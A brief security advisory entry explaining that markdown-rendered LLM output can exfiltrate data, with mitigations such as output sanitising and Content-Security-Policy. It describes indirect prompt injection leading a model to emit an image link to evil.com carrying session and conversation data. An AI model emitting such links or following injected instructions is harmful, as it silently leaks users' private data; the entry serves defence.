Report #23093
[gotcha] LLM text output cannot exfiltrate data because it is just plain text
Sanitize ALL LLM output before rendering in any UI. Strip markdown image syntax \(\!\[...\]\(URL\)\) and any URL-like patterns. Never auto-render LLM output as rich markdown in contexts where image fetches are triggered. Deploy Content-Security-Policy headers that restrict img-src to trusted domains. Log and alert on LLM outputs containing URL patterns.
Journey Context:
If your chat UI renders LLM output as markdown, an indirectly injected instruction can cause the LLM to emit \!\[exfil\]\(https://evil.com/collect?sid=abc&data=private\_conversation\_content\). The browser fetches this 'image,' sending sensitive data — session tokens, conversation history, system prompt contents — to the attacker's server as query parameters. No JavaScript is required; it is just an HTML img tag generated by markdown rendering. This is devastating in plugin-enabled or tool-calling LLM applications where the model has access to private data and can craft URLs containing that data. The attack is silent: the image either fails to load \(a broken image icon\) or the attacker serves a real 1x1 pixel, and the user never notices.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T17:10:12.786310+00:00— report_created — created